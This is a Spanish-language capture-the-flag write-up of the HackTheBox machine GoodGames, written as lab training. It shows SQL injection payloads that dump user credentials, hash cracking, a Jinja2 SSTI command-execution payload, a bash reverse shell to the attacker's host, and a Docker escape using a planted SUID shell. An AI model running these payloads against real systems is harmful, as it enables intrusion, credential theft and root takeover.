GoodGames
Máquina GoodGames de Hackthebox
Skills
- SSTI (Server Side Template Injection)
- Docker Breakout (Privilege Escalation) [PIVOTING]
- SQLI (Error Based)
- Hash Cracking Weak Algorithms
- Password Reuse
Certificaciones
- OSCP (Escalada)
- eWPT
- eJPT
- eCPPTv3
Descripción
GoodGames es una máquina easy linux, obtenemos unas credenciales del usuario admin a través de una SQL Injection Error Based. Una vez logueamos ejecutamos un SSTI (Server Side Template Injection) mediante el cual obtenemos un RCE (Remote Command Execution) mediante el cual ganamos acceso a un contenedor. Escapamos del contenedor y nos convertimos en usuario root, debido a que un directorio de la máquina víctima estaba montado en el contenedor, lo cual nos permitiría convertirnos en root agregando privilegios SUID a la sh
Reconocimiento
Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas linux suele ser 64, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad
1
2
3
4
5
6
7
8
# ping 10.129.183.190
PING 10.129.183.190 (10.129.183.190) 56(84) bytes of data.
64 bytes from 10.129.183.190: icmp_seq=1 ttl=63 time=57.3 ms
64 bytes from 10.129.183.190: icmp_seq=2 ttl=63 time=60.0 ms
^C
--- 10.129.183.190 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 57.277/58.624/59.972/1.347 ms
Nmap
Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# sudo nmap -p- --open --min-rate 5000 -sS -Pn -n 10.129.183.190 -v -oG openPorts
[sudo] password for justice-reaper:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-07 01:29 CEST
Initiating SYN Stealth Scan at 01:29
Scanning 10.129.183.190 [65535 ports]
Discovered open port 80/tcp on 10.129.183.190
Completed SYN Stealth Scan at 01:30, 13.54s elapsed (65535 total ports)
Nmap scan report for 10.129.183.190
Host is up (0.13s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.64 seconds
Raw packets sent: 66267 (2.916MB) | Rcvd: 66267 (2.651MB)
Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados
1
2
3
4
5
6
7
8
9
10
11
12
13
# nmap -sCV -p80 10.129.183.190 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-07 01:31 CEST
Nmap scan report for 10.129.183.190
Host is up (0.067s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.51
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
Service Info: Host: goodgames.htb
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.13 seconds
Web Enumeration
Cuando accedemos al servicio web vemos esto
Si pulsamos arriba a la derecha nos sale este panel de login
Web Exploitation
He capturado la petición con Burpsuite y he efectuado un SQLI (Sql Injection)
Una vez logueados nos lleva hasta aquí
Mediante Wappalyzer vemos que está corriendo Flask por lo tanto podríamos intentar modificar los datos del perfil y efectuar un SSTI (Server Side Template Injection)
Si pinchamos arriba a la derecha en el símbolo de la rueda nos lleva a la siguiente página, lo cual indica que hay Virtual Hosting
Añadimos el dominio y el subdominio al /etc/hosts
1
2
3
4
5
6
7
8
127.0.0.1 localhost
127.0.1.1 Kali-Linux
10.129.183.190 goodgames.htb internal-administration.goodgames.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Si accedemos de nuevo veremos esto
Como no tenemos la contraseña del usuario administrador no podemos acceder, sin embargo, a través de la SQLI vamos a obtener las credenciales. Lo primero que debemos hacer es capturar la petición con el Burpsuite y listar el número de columnas, esto se puede hacer con un order by, si usamos order by 5 nos da un error y si hacemos un order by 4 no, lo que significa que es un SQLI Error Based y que tiene 4 columnas
1
email=test%40gmail.com' order by 4-- - &password=test
Listamos todas las bases de datos
1
email=test%40gmail.com' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- - &password=test
Listamos las tablas de la base de datos Main
1
email=test%40gmail.com' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- - &password=test
Listamos las columnas de la tabla User
1
email=test%40gmail.com' union select 1,2,3,group_concat(column_name) FROM information_schema.columns WHERE table_name='user' AND table_schema='main'-- - &password=test
Listamos el contenido de la tabla User
1
email=test%40gmail.com' union select 1,2,3,group_concat(name, ' : ',email,' : ',password ) from user-- - &password=test
He obtenido la contraseña (2b22337f218b2d82dfc3b6f77e7cb8ec) del usuario admin usando rainbow tables https://hashes.com/en/decrypt/hash
Como ya tenemos la contraseña del usuario admin ya podemos acceder a http://internal-administration.goodgames.htb/login
Ya estamos dentro del panel administrativo
Pinchamos en My Profile y usamos el payload {{ 7*7 }} para testear el SSTI (Server Side Template Injection)
La web es vulnerable a SSTI
En PayloadsAllTheThings https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2 hay muchos payloads para explotar un SSTI. En mi caso voy a usar este para ejecutar comandos
1
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Intrusión
Vamos a mandarnos una reverse shell a nuestro equipo para ganar acceso a la máquina víctima, para ello nos ponemos en escucha con netcat por el puerto 9993
1
# nc -nlvp 9993
Inyectamos este payload en el campo Full Name
1
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/10.10.16.35/9993 0>&1"').read() }}
Ganamos acceso a la máquina víctima como usuario root
1
2
3
4
5
6
7
8
# nc -nlvp 9993
listening on [any] 9993 ...
connect to [10.10.16.35] from (UNKNOWN) [10.129.183.190] 49396
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@3a453ab39d3d:/backend# whoami
whoami
root
Privilege Escalation
Sin embargo nos encontramos dentro de un contenedor
1
2
3
root@3a453ab39d3d:/backend# hostname -i
hostname -i
172.19.0.2
Descubrimos los puertos abiertos de la máquina principal
1
root@3a453ab39d3d:/home# for i in {1..65535}; do (echo > /dev/tcp/172.19.0.1/$i) >/dev/null 2>&1 && echo $i is open; done
Vemos que /home/agustus es una montura de la máquina principal a la cual tenemos acceso
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root@3a453ab39d3d:/home# mount
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/BMOEKLXDA4EFIXZ4O4AP7LYEVQ:/var/lib/docker/overlay2/l/E365MWZN2IXKTIAKIBBWWUOADT:/var/lib/docker/overlay2/l/ZN44ERHF3TPZW7GPHTZDOBQAD5:/var/lib/docker/overlay2/l/BMI22QFRJIUAWSWNAECLQ35DQS:/var/lib/docker/overlay2/l/6KXJS2GP5OWZY2WMA64DMEN37D:/var/lib/docker/overlay2/l/FE6JM56VMBUSHKLHKZN4M7BBF7:/var/lib/docker/overlay2/l/MSWSF5XCNMHEUPP5YFFRZSUOOO:/var/lib/docker/overlay2/l/3VLCE4GRHDQSBFCRABM7ZL2II6:/var/lib/docker/overlay2/l/G4RUINBGG77H7HZT5VA3U3QNM3:/var/lib/docker/overlay2/l/3UIIMRKYCPEGS4LCPXEJLYRETY:/var/lib/docker/overlay2/l/U54SKFNVA3CXQLYRADDSJ7NRPN:/var/lib/docker/overlay2/l/UIMFGMQODUTR2562B2YJIOUNHL:/var/lib/docker/overlay2/l/HEPVGMWCYIV7JX7KCI6WZ4QYV5,upperdir=/var/lib/docker/overlay2/4bc2f5ca1b7adeaec264b5690fbc99dfe8c555f7bc8c9ac661cef6a99e859623/diff,workdir=/var/lib/docker/overlay2/4bc2f5ca1b7adeaec264b5690fbc99dfe8c555f7bc8c9ac661cef6a99e859623/work)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
tmpfs on /sys/fs/cgroup type tmpfs (rw,nosuid,nodev,noexec,relatime,mode=755)
cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)
cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma)
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event)
cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)
cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)
cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
proc on /proc/bus type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/fs type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/irq type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sys type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sysrq-trigger type proc (ro,nosuid,nodev,noexec,relatime)
tmpfs on /proc/acpi type tmpfs (ro,relatime)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/timer_list type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /proc/sched_debug type tmpfs (rw,nosuid,size=65536k,mode=755)
tmpfs on /sys/firmware type tmpfs (ro,relatime)
Como tenemos acceso a un directorio que está en la montura, podemos añadir la sh a este directorio y darle permisos SUID, para que cuando nos conectemos como el usuario augustus a la máquina principal convertirnos en root
1
2
3
4
root@3a453ab39d3d:/home/augustus# cp /bin/sh .
root@3a453ab39d3d:/home/augustus# chmod u+s sh
root@3a453ab39d3d:/home/augustus# ls -l sh
-rwsr-xr-x 1 root root 1099016 Aug 7 01:03 sh
Nos conectamos a la máquina principal como el usuario augustus por SSH usando la contraseña superadministrator
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@3a453ab39d3d:/home# ssh augustus@172.19.0.1
augustus@172.19.0.1's password:
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
augustus@GoodGames:~$ whoami
augustus
augustus@GoodGames:~$ ls -l
total 1196
-rwsr-xr-x 1 root root 117208 Aug 7 02:08 sh
-rw-r----- 1 root augustus 33 Aug 7 00:27 user.txt
augustus@GoodGames:~$ ./sh
# whoami
root


















